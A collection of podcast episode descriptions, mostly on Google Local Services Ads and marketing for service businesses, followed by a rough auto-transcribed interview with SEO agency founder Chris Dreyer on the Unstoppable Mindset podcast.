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Ed conducted a training session on Google Local Service Ads (LSA) for the Agent Power Huddle group, sharing his experience and strategies for generating high-quality real estate leads. Ed explained how LSA leads differ from traditional PPC ads, emphasizing their search-triggered nature and higher intent, with leads costing around $75 per call and being verified by AI to ensure quality. He detailed the setup process, including creating a Google My Business profile, verifying credentials, and setting an initial budget of $500-1,000 per week, which he later increased to $10,000 to demonstrate serious business intent. Ed shared his success story of generating 8 leads in 24 hours and securing 7 signed listing agreements within that timeframe, using a specific script that addresses the legal requirement of Senate Bill 5191 and offers flexibility in contract signing. He also discussed expanding from local to state-level targeting once systems are established and explained how to handle referrals when leads are outside your market area. The training concluded with Ed encouraging participants to set up their LSA profiles and emphasizing the importance of responding to leads within 5 minutes based on MIT study findings.
Google Local Services Ads promise high-quality leads, but do they actually deliver? After spending $2,200 and landing just one client, John breaks down how LSA works, shares his real-world experience, and explains why it wasn't the right fit for his lawn care business. This episode isn't about bashing the platform, it's a cautionary look at why LSA may not be the silver bullet many operators expect, especially when building a route-dense, profitable service business. Episode Links: Apple Podcast Listeners- Copy and paste the links below into your browser. Upcoming Events: Profit Accelerator LIVE (June 26–27, 2026, Richmond, VA):An intensive experience designed to help lawn and landscape business owners dial in their numbers, increase profitability, and build a scalable business with clear strategy and execution. Sign up and learn more: https://Profitacceleratorlive.com Lawn & Landscape Technology Conference (July 22–24, Scottsdale, AZ) :A hands-on event focused on AI, software, and systems to help you run a more efficient and profitable green industry business. Sign up and learn more: https://www.lltechconference.com/ Equip Expo (October 20–23, 2026, Louisville, KY): The largest trade show in the green industry, bringing together contractors, equipment manufacturers, and business leaders for four days of equipment demos, networking, and real-world strategies to help you grow and scale your business. Tickets are just $12.50 with promo code PAJAK through May 30, then prices go up. Lock in your ticket now and take advantage of the discount. Sign up and learn more: https://plus.mcievents.com/EquipExpo2026?RefId=PAJAK Show Partners: Yardbook Simplify your business and be more profitable. Please visit www.Yardbook.com Get 30 days of Premium Business level of Yardbook for FREE with promo code PAJAK Mr. Producer Click the link to connect with Thee Best Podcast Producer in the biz! https://www.instagram.com/mrproducerusa/
Send us Fan MailIn this episode, Joe and Nath chat all things winter lawn care — what you should be doing right now, common mistakes to avoid, and how to keep your lawn looking healthy and green through the colder months.They also recap a huge week for Lawn Solutions Australia, including the LSA conference and field day and whats coming up.www.lawnsolutionsaustralia.com.auwww.facebook.com/lawnsolutionsaustraliawww.youtube.com/@LawnSolutionsAustralia
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“Butts, not bots.” That's the philosophy behind this week's conversation with Ted DeBettencourt of Juvo Leads, a new sponsor of Lunch Hour Legal Marketing, and honestly, it sparked one of the most practical discussions we've had about intake in a long time. From AI chat frustrations and LSA response failures to empathetic intake conversations and signed retainers through text, this episode digs into what actually helps law firms convert more leads into cases. Ted joins Conrad and Gyi to break down why human-powered intake still outperforms automation in many legal marketing scenarios, how firms lose leads by forcing clients into the wrong communication channels, and why response speed alone isn't enough if the experience feels robotic. They also get into A/B testing intake vendors, reducing wasted PPC spend, qualifying leads properly, and the hidden dangers of certain lead-handling practices in the legal industry. If you've ever wondered whether AI intake is really “good enough” yet or whether your law firm is accidentally creating friction for potential clients, this episode is for you. Connect with Ted! You can find Ted on LinkedIn, and head over to juvoleads.com to take advantage of Ted's offer to get 50% more leads or your money back with a free 30-day trial. Enter code LHLM for discounted retainer pricing. A massive thank you to all of our new sponsors we have onboarded under our endorsed sponsor model: Juvo Leads, Lawmatics, CallRail, and ALPS Insurance! Gyi and Conrad are headed to the PILMMA Super Summit in San Antonio! If you're in attendance, say hello and let us know your thoughts on the event. The Lunch Hour Legal Marketing Summit is coming. Have you secured your ticket?
Sticky valves, sleepy valves, and valves destined for the trash are on tap this episode. Email podcasts@aopa.org for a chance to get on the show. Join the world's largest aviation community at aopa.org/join Full episode notes below: Mac is trying to get a cylinder to wake up on his Piper Lance. The engine ran rough, and a magneto clearing procedure didn't help. The number 5 cylinder was dropping off according to the engine monitor. It's also next to the turbocharging exhaust. His A&P thought maybe the injector line being next to the pipe might be causing a problem. It only happens after landing, not while flying. Paul thinks it would be a more widespread issue if the plumbing engineering were the issue. The aux fuel pump stops it from happening. Mike suggests a mixture that's too lean could cause this. They suggest checking the idle mixture rise on shutdown. The rpm should rise 25-50 when pulling the mixture at idle. If it doesn't rise as much it's too lean, and if it rises too much it's too rich. They also suggest running a GAMI lean test to determine if the cylinder is a lean outlier. Conor has a Cessna 150. On the way back from Oshkosh last year he experienced a stuck valve. There was discoloration from being hot when the cylinder was pulled. He leans aggressively. He's wondering if he's leaning too aggressively and is getting the engine too hot. He leans to roughness and enrichens only until it gets smooth. The hosts think the engine has to be in detonation for it to get too hot. The piston tops are fine under borescope, so the hosts think it's fine. Andrew wants to knock the rust off his A&P certificate. The hosts suggest the new Savvy Aviation IA recurrent course. It's a free 8-hour course to help refresh his memory. Beyond that, Paul suggests a 172 course, which is the airplane he plans on buying. There really isn't a hands-on refresher course, according to Colleen. She suggests he could hire an A&P and work alongside him or her to brush up. He could also take an LSA repairman course, which is shorter than a typical A&P course. James is asking about the right time to overhaul an engine. He is in a club with a Diamond that flies about 500 hours a year. When he wrote in there were 1,900 hours on the engine. They were told the turnaround would be three months. They decided to order a reman from Lycoming, which was scheduled to take 15 months. Then they got a notice that it would be an additional 12 months. It ended up only being 17 months. Their club decided that more than three months of downtime wasn't acceptable. If the lead time for engines is more than a year, so how do you listen to the engine when the delay is so long. Paul said you buy consumables, like cylinders. Cylinders can sit on the shelf for a long time.
My special guest this week is Roger Song, an Alberta lawyer who seeks to bring Christian values and Christian morality to the legal profession in Canada. Mr. Song has organized a tremendous conference scheduled for Saturday, May 16 in Calgary, Alberta. It's called Conference for Dominion of Canada, with keynote speaker A. Brian Peckford, P.C. former Premier of Newfoundland and last living signatory to the Patriation Agreement of 1982 that resulted in the Canadian Charter of Rights and Freedoms. He has assembled an impressive list of speakers: Eric Lowther, former MP, Rev. Tim Stephens, Dr. Michael Wagner, Faytene Grasseschi, Grant Abraham, Leighton Grey, K.C. and Roger Song. They'll also be serving a tremendous lunch. Only $75 for the day! Register for the conference: https://3rproject.ca
Sonja Åkesson är en av de riktigt stora svenska poeterna, folkligt älskad för sina raka, roliga oh drastiska dikter om vardagen, kvinnor och män, och samhället. I april 2026 skulle hon ha fyllt hundra år, och i detta avsnitt gör Alice, Patrik, Elias och Maja en djupdykning i författarskapet, utifrån en nyutkommen volym med hennes samlade dikter. De finner en poet som förutom att ligga före sin tid med kritik av såväl konsumtionssamhälle som hemmafruideal, också blottar sitt eget livs smärtor och går på djupet i vad det innebär att vara en människa. Solen är en podcast om litteratur och bibliotek med bibliotekarierna Alice Thorburn, Elias Hillström, Maja Bünger och Patrik Schylström från Stockholms stadsbibliotek. Du hittar läslistor med flertalet böcker som nämns i avsnitten på bibliotekets hemsida: https://biblioteket.stockholm.se/bibliotekspodden-solen-alla-avsnitt
Each week, Greg and Ben answer your questions on digital marketing for local businesses … local search engine optimization (SEO), Google Business Profile, social media, email marketing, websites, online advertising and more.Updates and QuestionsGBP photos now sorted by recency.Google introduces “Ask Maps” as a new way to find businesses.Updated information on LSA performance insights.When is it better to wait for Google Support to respond after having trouble with video verification?When traveling to another country, I got significantly less spam calls for my GBP, and when I came back, they resumed - is this a coincidence?What should I do if a former employee has claimed my GBP?What should I do if I can't contact Google Support when requesting to nest a department listing?What should I keep in mind when doing video verification for an SAB?Did the insights feature on GBP get removed?What should I know about UTM source codes?If you change your language settings in Google Maps, can you suggest-an-edit your business name in as many languages as you want?How do I transfer the primary owner of a GBP?Links mentioned in this session are available on our website at https://localmarketinginstitute.com
En 2014, selon une étude réalisée pour le magazine LSA, le chocolat était l'aliment préféré des Français. Nous sommes près de 98% à en consommer, 80% chaque semaine et 30% tous les jours. Si le chocolat nous plaît autant, c'est parce qu'il serait bon pour la santé, et un peu addictif. Selon une étude américaine publiée dans le journal spécialisé Nature, manger du chocolat serait même bénéfique pour le cerveau et rendrait plus intelligent. Comment le chocolat peut-il nous rendre plus intelligents ? Présente-t-il d'autres bienfaits ? Y a-t-il des inconvénients à la consommation de chocolat ? Écoutez la suite de cet épisode de "Maintenant vous savez". Un podcast Bababam Originals, écrit et réalisé par Samuel Lumbroso. Première diffusion : avril 2023 À écouter aussi : Le chocolat peut-il vraiment tuer un chien ? Pourquoi le débat entre “pain au chocolat” et “chocolatine” existe-t-il ? Comment “muscler” son cerveau ? Retrouvez tous les épisodes de "Maintenant vous savez". Suivez Bababam sur Instagram. Learn more about your ad choices. Visit megaphone.fm/adchoices
If you're trying to win in HVAC in 2026… most of what you've been told about marketing is wrong.Contractors are wasting thousands on agencies, chasing “leads,” and relying on channels they don't actually control.In this solo episode, John breaks down the exact HVAC marketing system he's using to scale one of the largest non-private equity-backed home service companies in Ohio—and what's actually working right now.This isn't theory. It's what's driving real calls, real jobs, and real growth.If you're stuck in feast-or-famine, trying to grow past $1M, or scaling toward $10M+, this is the playbook.What You'll Learn: The difference between controllable vs. uncontrollable demand (and why it matters) The exact channels driving consistent HVAC leads today (SEO, Google Ads, LSA, direct mail) Why most contractors underinvest in marketing—and how it holds them back The “speed to lead” system that turns missed calls into booked jobs Follow John Wilson: https://x.com/WilsonCompaniesMore Solo Content: https://www.youtube.com/@JohnWilsonStudioSend Us Mail!More Ways To Connect with O&OJohn's YouTube ChannelWeekly Newsletter Owned and Operated Leave a ReviewJohn Wilson, CEO of Wilson CompaniesJack Carr, CEO of Rapid HVAC
Is your marketing actually working — or is Google taking credit for everything? Attribution in home service marketing is broken for most operators, and in 2026, that mistake is getting more expensive.John Wilson sits down with returning guest Tony Castelucci from Wanamaker Advertising to break down how home service businesses should really think about attribution, demand generation, and measuring ROI across channels like PPC, LSA, SEO, TV, radio, and more.They unpack why cost per lead is often the wrong metric, how demand capture and demand creation work together, and what operators need to track if they want to scale profitably instead of just chasing cheap leads.What we cover:Why last-click attribution gives too much credit to GoogleWhy cost per lead is one of the most misleading metrics in marketingThe difference between demand capture vs demand creationWhy branded traffic and direct traffic are often your best leadsHow to use timestamps, call data, and CRM reporting to measure true marketing ROIIf you're spending more on marketing but still struggling to understand what's truly driving booked jobs and profitable growth, this episode is for you.Host: John Wilsonhttps://www.linkedin.com/in/johnbwilson1/Guest: Tony Castelucci (Wanamaker)[https://wantmore-leads.com]
What if the real secret to business growth is not creativity but competition? I sat down with Chris Dreyer, founder of Rankings.io, who built one of the fastest-growing legal marketing companies by mastering SEO, niche focus, and relentless execution. Chris shares how his early work ethic shaped his path, why he chose the highly competitive personal injury space, and how treating business like a math-based game helped him scale. You will hear how content, reviews, and authority drive Google rankings, why most lawyers misunderstand marketing, and how narrowing your focus can actually expand your results. I believe you will find this useful as Chris shows how discipline, data, and consistency can turn any business into an unstoppable force. Highlights: 00:56 – How early work and family habits built a strong work ethic05:00 – Why taking the hardest job created resilience and grit12:12 – How serving people helped develop communication and confidence24:22 – Why choosing a competitive niche leads to greater success37:08 – What it takes to rank at the top of Google consistently51:16 – How doing free work early builds skill and long-term growth Bottom of Form About the Guest: Chris Dreyer is the CEO and Founder of Rankings.io, the category-defining SEO agency built exclusively to help elite law firms and personal injury lawyers dominate Google's organic search results. Under his leadership, Rankings.io has become synonymous with measurable results, helping attorneys secure life-changing cases through visibility at the exact moment potential clients are searching for help. The company has achieved what few in the legal marketing space ever have, earning a spot on the Inc. 5000 list of fastest-growing private companies for eight consecutive years, proof of both sustained growth and relentless execution. Beyond Rankings, Chris is a builder of platforms and a voice of authority in legal marketing and entrepreneurship. He is the Wall Street Journal and USA Today best-selling author of Niching Up: The Narrower the Market, the Bigger the Prize, where he details how focus creates outsized impact. He is also a seasoned real estate investor and the host of the Personal Injury Mastermind podcast, where he interviews top attorneys and business leaders shaping the future of law. His influence extends across respected councils and networks, including the Forbes Agency Council, Rolling Stone Culture Council, Business Journals Leadership Trust, Fast Company Executive Board, and Newsweek Expert Forum, cementing his reputation as both a practitioner and thought leader. Chris's path to entrepreneurship has been unconventional yet relentlessly instructive. Once a world-ranked collectible card game competitor, he carried that same strategic mindset into business. After earning a History Education degree, his first professional role was as a detention room supervisor, hardly glamorous, but it provided the unstructured time that sparked his obsession with digital marketing. He began experimenting with affiliate sites and, at his peak, managed more than 100 properties simultaneously. This side hustle soon eclipsed his day job, propelling him into full-time entrepreneurship. When affiliate marketing's golden age waned, Chris pivoted into legal SEO and quickly carved out a niche. Along the way, he also became a top-ranked online poker player, honing skills in risk management and probability that would serve him well in scaling his companies. Today, Chris runs Rankings.io with the same competitive fire he once brought to cards and poker, driven to outthink, outwork, and outlast the competition. His mission is simple: help the best personal injury law firms win more cases, build enduring legacies, and dominate their markets. Ways to connect with Chris**:** website: rankings.io https://x.com/chrisdreyerco https://www.linkedin.com/in/chrisdreyerco/ https://www.facebook.com/chrisdreyerco https://www.instagram.com/chrisdreyerco/ About the Host: Michael Hingson is a New York Times best-selling author, international lecturer, and Chief Vision Officer for accessiBe. Michael, blind since birth, survived the 9/11 attacks with the help of his guide dog Roselle. This story is the subject of his best-selling book, Thunder Dog. Michael gives over 100 presentations around the world each year speaking to influential groups such as Exxon Mobile, AT&T, Federal Express, Scripps College, Rutgers University, Children's Hospital, and the American Red Cross just to name a few. He is Ambassador for the National Braille Literacy Campaign for the National Federation of the Blind and also serves as Ambassador for the American Humane Association's 2012 Hero Dog Awards. https://michaelhingson.com https://www.facebook.com/michael.hingson.author.speaker/ https://twitter.com/mhingson https://www.youtube.com/user/mhingson https://www.linkedin.com/in/michaelhingson/ accessiBe Links https://accessibe.com/ https://www.youtube.com/c/accessiBe https://www.linkedin.com/company/accessibe/mycompany/ https://www.facebook.com/accessibe/ Thanks for listening! Thanks so much for listening to our podcast! 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Transcription Notes: Michael Hingson 00:04 What if the biggest thing holding you back isn't what's in front of you, but rather what you believe Welcome to unstoppable mindset where inclusion, diversity and the unexpected meet. I'm your host. Michael Hingson, speaker, author and advocate for inclusion and possibilities. This podcast explores how the beliefs we carry shape the way we live, lead and connect with others. Each week, I talk with people who challenge assumptions, face adversity head on and show what's possible when we choose curiosity over fear, together, we focus on mindset resilience and the small shifts that lead to meaningful change. Let's get started. Hi everyone, and welcome to another edition of unstoppable mindset. Today, our guest is Chris Dreyer. Chris, Chris has formed a company called rankings.ai. And I'm going to let him describe what all that is about. And he's done some pretty interesting things with it. It has been on inks top 5000 companies, growing companies for the past eight years. Eight years is a long time, which is pretty cool. So I'm sure he's got lots of adventures and lots of stories to talk about. So Chris, welcome to unstoppable mindset. We're glad you're Chris Dreyer 01:35 here. Yeah, thanks for having me, Michael. I'm excited to chat. Michael Hingson 01:39 Well, let's start with kind of the early Chris growing up and all that, and see where we go from there. It sounds Chris Dreyer 01:45 good to me. So yeah, Michael Hingson 01:46 let's go. Why don't you tell us a little bit about Yeah, school and all that stuff. Chris Dreyer 01:51 Okay, yeah, let me, let me, and then you just cut me off at any point, because I can be a long Michael Hingson 01:55 talker the so can I? I Chris Dreyer 01:56 know what you mean. I, I grew up in a very small city, elkville, Illinois, my high school had 100 people in it. I was a graduating class of 28 I grew up, I would say it's kind of weird. My mom and dad, if they heard me say poor, would not love me saying poor, but I we weren't. We were certainly at the bottom of middle class or the upper or poor. I had a lot of chores. I every single weekend, I cleaned a law office with my mom or did something at the farmers market. So and at the time, it wasn't work. It was just what we did as a family, right? I didn't even understand it. We had, we didn't have city water. We had to get a truck and bring in our water, and we had well water, right? And in my family, and that was, that was early on, right? My dad was a milk carrier. My mom was a cook and and ultimately, they did better over the years and made more money. But it started off, it was a lot, a lot of grit, perseverance, working hard. And I like to share that, because my parents work ethic is very strong, very dependable, very consistent. And that's kind of where I got my drive. But that's, that's kind of how I grew up, small, small town, you know, a lot of side hustles with the parents. And once I went to college, I got that, that shock of, oh, here's a whole bunch of go from 100 to, you know, 20,000 Yeah, it's a bit of a shock there. 03:35 Where'd you go to college? Chris Dreyer 03:36 Yeah, I went to SIU, Southern Illinois University. There in Carbondale, Illinois. I actually live in Carbondale today. And, you know, I went to college. I was always had that entrepreneurial bug, and, but I went to college, it was kind of to make mom and dad happy to get that degree and, but I just knew that I was going to own my own business. And I kind of had that conversation with them out of the gate, but so I was a terrible student. Partied a lot, you know, chase the women, so to speak, and but somehow, ended up with a degree, got a job at a high school as their JV basketball coach, and I started doing internet marketing on the side to make a little extra money because I had some downtime. And by the end of my second year teaching, I was making about four times the amount doing that that I was teaching. So that was kind of my sign, and to go pursue that full time, and that's what I did. That's when I left to do affiliate marketing and digital marketing full time was after Michael Hingson 04:41 that second year, of course. Now the real question is, you were chasing the women? Did any of them 04:44 chase you? Oh yeah, oh yeah. Just Michael Hingson 04:49 want to make sure it's reciprocal here. Yeah, that's that's pretty cool, though. And I was going to ask you, and you sort of answered it, about your workout. Ethic and so on. I find that if people do grow up in an environment where they're working and they appreciate what they do get and the amount of work that they do, and they develop a strong work ethic, or their parents have it, they generally do as well, although sometimes there's some rebellions, but still, ultimately, the right stuff shows through. Chris Dreyer 05:24 Can I tell just a brief story about that? My mom, when I turned 16, it was like, you're getting a job, son, right? And it was not, we had, we were fine without, but it was like, so she took me to this place. It was called Ken's antiques, and they used to do the semi truck deliveries of aluminum, and I used to go to auctions and unload furniture. And I asked her, I was like, Why did you take me there? Well, you know, why didn't you take me to the mall? Why didn't you know to go work at a the buckle or the gap or something, you know, why did you take me? There she goes. Well, I knew if you could, if you could succeed here, you'd be fine anywhere, because it was the hardest job that I could think of. And I was like, Oh, really, thanks, Mom. Like, send me to the to the hardest job that you could think of and see if I could thrive. And I did well there. But that just kind of goes to show you the mindset that my mom had racing me, which also kind of, you know, attached to me as well. Michael Hingson 06:26 Yeah, well, and I can appreciate course, now looking back on it, of course, but I can appreciate what she said, because if you can survive in one place, and you can if it's if it is a tough job and you approach it the right way, then you'll probably be good anywhere, and there you go. Chris Dreyer 06:47 Yep, yep, to her credit, it was a very tough job. It is as still to this day, the hardest job from a physically demanding perspective that I had, but, but yeah, and it was good. It built resilience, you know, kind of helped me get that that put that true grit on and yeah, so that's kind of my background. Michael Hingson 07:08 I never did really work at a job growing up, my brother did. He worked at a restaurant and so on and bus tables and did other things. But I remember, when he got his first job, he went and applied at a at a restaurant, and the owner or manager, I guess probably both said, so, you know, we'll, we'll consider you. Would you do us a favor? There's some weeds out in the in the front, would you go pull those? And he said, within about a half hour, he got the whole place completely cleaned up of weeds. And the boss came out and said, You did all of that. And my brother said, Yeah. And guy said, You're hired. You know, amazing, you know, because my brother didn't even realize, I think at first, that that was really a test, but it was, and of course, he passed, which was cool. That's a great story, but I never got really to do much work. I kind of was more the intellectual guy in the family, and finding jobs would have been a little bit more of a challenge for me. I did do some babysitting, but that was about all I could do. I've been blind my whole life, and a lot of the jobs that were available in Palmdale, where I grew up in Southern California, were not jobs I was going to realistically be able to do anyway, but I could babysit, and that worked out pretty well. Yeah, yeah. So I mainly studied, Chris Dreyer 08:41 love it. So So studied. Can I? Can I do the reverse interview? What's some of your your top motivational books, business books? Because I'm sure you've got some that just pop top of the dome. Well, sort of, kind Michael Hingson 08:55 of, I really have a slightly different idea about that, but I'll tell you, I've read a number of the main books in the whole motivational and and management world. One Minute Manager is a book I appreciate a great deal. And I also like Dale Carnegie books like How to Win Friends and Influence People. But for me, I point out, and even to this day point out that I've learned more about teamwork and trust and leadership from working with eight Guide Dogs for the last 61 years than I ever learned from all the management and leadership books and everything else that's out there, mainly because working with dogs, you have several things that are An issue, first of all, respecting them and the job that they do, knowing that you're really forming a team with a guide dog, where each member of the team has a job to do. So in my case, the dog, and the case of people who use guide dogs, the purpose of the dog is to make sure that we walk safely as. We're walking somewhere, but my job is to know where to go and how to get there, and then I have to learn how to communicate that to the dog, and also be the leader of the pack in the truest sense of the word, which also means that if the dog is upset, or there is any kind of an issue with the dog, I have to figure out what that is, and I have to read what is going on so that I understand that and can then figure out what is occurring and make sure that the dog stays happy so it's you. There's so much to learn about trust, and one of the main things I've learned over the years is while dogs do, I think love unconditionally, unless they're just so badly traumatized by somebody for some reason they don't trust unconditionally. But the difference between dogs and people is that dogs are open to trust a whole lot more than we are. We have just had so many things go on. We read we bought them in the newspapers, we see it on the news and so on. Nobody trusts anyone. The feeling is basically everyone has their own hidden agenda, and so you can't trust anyone. And so there's very little communications today. There's very little real interaction. And people, by definition, don't trust. Dogs are open to trust, and you can earn their trust, and likewise, they get to and can earn your trust, and it is a it is a combination and kind of thing. So what I really learn when I go to get a new guide dog every time is I'm learning how to form a team with this other dog who doesn't speak the same language I do, who doesn't think the way I do. But I have to figure out what this dog does, what this dog is all about, and I'm the one that has to become the leader of the of the team and make things work. So I think that working with a dog is a lot more of a practical experience kind of thing than just reading about whatever there is to read about in books and so on. So that's why I say that. I think I've learned a lot more by working with dogs than I ever got from all the management books in the world, any of the Tony Robbins books, or any Chris Dreyer 12:07 of those. I love, every bit of that I just I was on x the other day, and it was talking about the the new CEO for Starbucks, right? Because the former CEO was McKinsey trained, right, but didn't have any actual experience at the helm. And then they brought back the former CEO of Taco Bell over to Starbucks, and the stock immediately shot up because of the application aspect of it. He had, he had done the job and been in the grind. So it's kind of interesting, kind of corollary there. But yeah, thank you for sharing. I was really intrigued, and I had to jump in and and ask, Michael Hingson 12:45 Oh, fair question, and then this is a conversation, so nothing wrong with asking questions on either side. So it's perfectly fine to to be able to do that well, so what did you do right out of college? Chris Dreyer 12:59 Right out of college, the one thing I'll tell you that I still to this day, I call myself an introvert. I don't think that, you know, introvert, extrovert. I think we have the tendencies at all times to be either one, right? But I think for me, I was more shy, but I built a lot of friends because I played sports and I knew them in college, and then they met, they introduced me to their friends. Because you got to imagine, when I had a class of 28 kids, it's like super small community versus, you know, everybody I'm interacting through their connections and their extended connections. So through college, I'd say the main education thing I got was, I did get a job waiting tables for three years, and so I got a lot of client service training, dealing with people having a ton of conversations through that, through my through my job, and also through my personal relationships with my friends and and other, you know, Students at the University, but so I think that kind of helped, helped me succeed afterwards, but afterwards, really, when I student taught at Heron, they saw my work ethic. They saw a shoe up, that I showed up, that I listened and I took action. So they, they hired me immediately, and I did the same when I was a JV basketball coach. I never missed a practice. Was always on time. Really tried to develop the kids and bring the most out of them, treated the parents well, and so I think that's what I did well, and it kind of put me in the position to have time to learn internet marketing. So I think that's kind of how it all started, Michael Hingson 14:47 when I was getting my teaching credential at UC Irvine, and I also got my master's degree in physics from there. But I student taught at the local high school, at University High School, and I student. Taught two classes. One was a physics class, and it was kind of for they called it dumbbell physics, but you know, it was kids who were sort of interested in science, but really didn't know where they wanted to go. But the other class was algebra one, and I remember one day I was teaching, and one of the students asked a question, and I didn't know the answer to it, and I probably should have, but I didn't. But what I said was, I don't know the answer right off, tell you, what do you mind if I look at it tonight, get you the answer and bring it back tomorrow. And the kid who was an eighth grader, actually accelerated, so it was high school algebra one, but he was from the eighth grade. He said, Sure, so I went home and found the answer in the book, when I should have known that, but anyway, came back in the next day, and even before I could say anything, he said, Mr. Hingson, I went home and got the answer, and I said, Well, come up and write it on the board. And one of the things that I did with with all of my classes when, of course, we had blackboards and all that, back in those days, I would want a student to come up and be the board writer, because they write a lot better than I do. And so we, we had pretty good competitions of people who wanted to write on the board. They all thought it was kind of fun, and I did spread that wealth around, but Marty came up and I said, now you got to explain what you're writing. And he had actually found the answer, which was cool, but my master teacher was also the football coach, and when I first told Marty and the rest of the class, I don't know the answer, but I will get it after class was over, Mr. Redmond said you did something that's absolutely amazing and was absolutely the right thing to do, and most people wouldn't do it. And that was you admitted you didn't know the answer, but you would go get it rather than trying to blow smoke, because these kids can see through that in a second. And he said, So you did the right thing, and I've always felt that's the way to do it. If I don't know the answer, I'll go figure it out, but I will also tell you that I don't know the answer, and you can decide whether that's a good thing or a bad thing, but I think it's a good thing, to be honest, Chris Dreyer 17:22 I couldn't agree more. Michael Hingson 17:25 And so it was fun. And and what the the other part of the story, and I think I've told it a couple times on the podcast, is 10 years later, I was at the Orange County Fairgrounds, and this kid comes up to me, Well, he was, he didn't sound like a kid anymore. And he said, Mr. Hingson, do you know who this is? Deep voice. And I went, No, not right off. And he said, I'm Marty. I'm the guy that was in your algebra class 10 years ago. Nice to be remembered, but, but he he also just remembered what happened. And I think he even said it was so cool that I was honest with him about it, which was, you know, a life lesson anybody should learn. Chris Dreyer 18:09 That's incredible. That's incredible. So Michael Hingson 18:10 it was a lot of fun. Well, so you student taught and so on, but eventually you ended up deciding to go into the entrepreneur world. But you also were a card collector, right? A game collector, yeah. Chris Dreyer 18:25 And in high school, I played this collectible card game. I played a combination of two. I mean, most people are familiar with Magic, The Gathering, but I also played this other game called Legend of five rings. And both, you know, the collectible card games, but they're really math based games based upon advantage and and, you know, you so now it's applicable to today. I can look at any whether it's Pokemon or whatever card game there is. It's, it was very, you know, it's force based, you know, benefits to attack and things like that. It attributes everything. But anyways, I played it competitively, and I was a top I was a world ranked player at one time. I won four state championships or CO days. No one had done that at the time in a two consecutive years, and it was just a top player, and when you get to the top, you become friends with the other top players, and then you talk strategy and and that even takes you to an even higher level. And so I did that, you know, for many years, competed all over the country. It was a great experience. And so, yeah, that in my house. My dad very so he had, he was a civil engineer. He has an engineer degree, but he was traveling. He was on the railroad at all times, and he wanted to stop traveling, so he accepted this job as a mail carrier so he could stay put. And. Yeah, and that's what he did. He retired as a mail carrier, but, you know, a top math expert to the to the point where there would be conversations where you could, like, I couldn't understand him, right? He couldn't understand himself, right? And, and, and there's many conversations in different aspects of this. But when we played games, whether it was Yahtzee or monopoly or whatever, every game, there was a math based lesson to it, like, which dice you rolled for advantage at Yahtzee, which ones to hold after the first roll. Poker games, pitch games, Rummy, every single game it was, it was game theory. It was math on what was the precise the best role, like Monopoly, the best properties and the probability to get an orange property over other properties and and how much you should spend at certain points of the game. And I realized saying that outline that's that that's not normal. Some people just play yatse and roll the dice and they roll what they want, and some people play Monopoly and just buy the properties they want. That was not how games were played in my household, and it was very applicable to poker and to the collectible card games. Michael Hingson 21:22 Yeah. So how often did you want to buy Boardwalk and Park Place? Chris Dreyer 21:28 Not often. But I mean, so there. That was just how I was brought up. And yeah, and it turned into a lot of what I do today. Michael Hingson 21:42 Actually, I always like free parking. We had a thing where any money and and any kind of thing that you had to pay on all went into the free parking pot. So getting free parking was always fun. Oh yeah, but yeah, I hear what you're saying. I love monopoly and love to even play it against the computer, which was always a kind of a neat thing to do, but played Monopoly against other members of my family. Some we actually made a Well, we took a regular Monopoly board, and I think my father outlined the entire board and all the squares using elmer's glue so that we had raised lines for me to look at. Then we also did things to mark the paper money so I could tell what bills I had and and so on, and even Braille the cards. And I still have that game to this day, very neat, which is kind of cool, but monopoly spun. Chris Dreyer 22:36 Yeah, there's a lot of games that you know, there's no winner. You take my wife wants to play Scrabble all the time, and I'm like, there's just not a winner in Scrabble. Because if I challenge you on a word, and I'm right, you're wrong. You're mad if I beat you, you know, and then if I lose, it's not fulfilling for me. That's one of those games. There's no winner. Michael Hingson 23:02 I have a friend who plays Scrabble with his mother all the time, and and he, I think he loses more than he wins, but he's always proud when he beats her. And he's almost 60, so you know, she's, she's older than he is, but they, they play and have a lot of fun with Scrabble. Chris Dreyer 23:21 That's incredible. That's Michael Hingson 23:22 great. Yeah, it is kind of cool. But anyway, so you eventually decided to go off and go into the entrepreneurial world, and you started your company, or went well, when did you actually start the company? Chris Dreyer 23:37 Started the company officially in 2013 it was attorney rankings.org, that was the original name. Now it's rankings.io, I worked at a few agencies previously, while I was also doing the affiliate marketing, and kind of got to see the agency world of providing, you know, the professional services space. And after working at a few agencies. Thought that I could do it right. I got the confidence from the competence, and that's when I launched it. 2013 we've always been focused on legal. The difference today is primarily, we're focused on a sub niche of legal for personal injury law. And, you know, we work with other practice areas, criminal defense, family law, etc. But really personal injury is the is 85% of our business. Michael Hingson 24:27 So what is it that rankings.io? Does, Chris Dreyer 24:31 yeah, we do digital marketing. We do search engine optimization now, AI search, we do pay per click paid social web design. A lot of performance marketing, I would say more performance, less creative and branding. And that's what we do. We work with the top, the biggest pi firms, personal injury law firms in the country. We're in chiefs, I think every state we work with about. 250 law firms across the country. Michael Hingson 25:03 What made you decide to focus on law in the beginning? Chris Dreyer 25:09 Yeah, I'll say a few reasons. One, I had an experience working with attorneys, and I liked working with them. So there was the like component when I worked at an agency, I had a few firms that would I spoke with, and I enjoyed it. The second thing was, if I'm being honest, the status like I wanted to tell my parents that I did marketing for lawyers, and not just, you know, any industry. And then the other thing is, is I'm very, very, very competitive, and I kept seeing and hearing these reports about more and more attorneys going to law school and and just all this competition for legal and the thing that I differ you hear a lot of coaches and mentors. They'll say, hey, go to the blue ocean. You know, everyone's read the blue ocean book, or, you know, Peter thiel's zero to one, and everyone thinks so, go where there's no competition. And I'm like, That's fine if you're Elon or Peter Thiel or Zuckerberg creating something new, but if you're going into an existing category, you want to go where there is competition, because it demands expertise, and that's the way that I've looked at it. Like, you take the agency perspective, I don't want to go to, you know, lawn care, SEO like, do they really want to do search engine optimization? Do they really have a ton of competition? Maybe that's not a great example. But you get my point where, if you go into the city, there's a ton of personal injury law firms, but there's only a few that can rank at the top. And there's, they're all trying to gather cases from one another, so they want an expert to help them, you know, get that visibility. And that's, that's the mindset that Michael Hingson 26:58 went into it. What strikes me is interesting, though, is that with all of that, you bring a very competitive level to what you do. And I'm not sure that I find that a lot of people necessarily even do that, so you consider even search engine optimization to be a very competitive thing, I don't want to say sport, but you consider it all about competition, and you want to really bring the best and the most significant aspects of it to what you do. And that clearly has to show up when you're talking about Inc ranking you in the top companies for eight years in a row. Chris Dreyer 27:47 Yeah, it's very status orientation. You know, that's why I like working with trial attorneys. There's a winner and loser in court, and there's only one top position in Google or on these llms, and it's, who's gonna win, who's the best? Yeah, and it's right there for everyone. Here's here's the tally. Everyone can see who's the best. And I've always loved that. I think I heard a podcast recently by John Morgan. He's the founder of Morgan, Morgan, right? Of course. And you know, he's always a character and funny 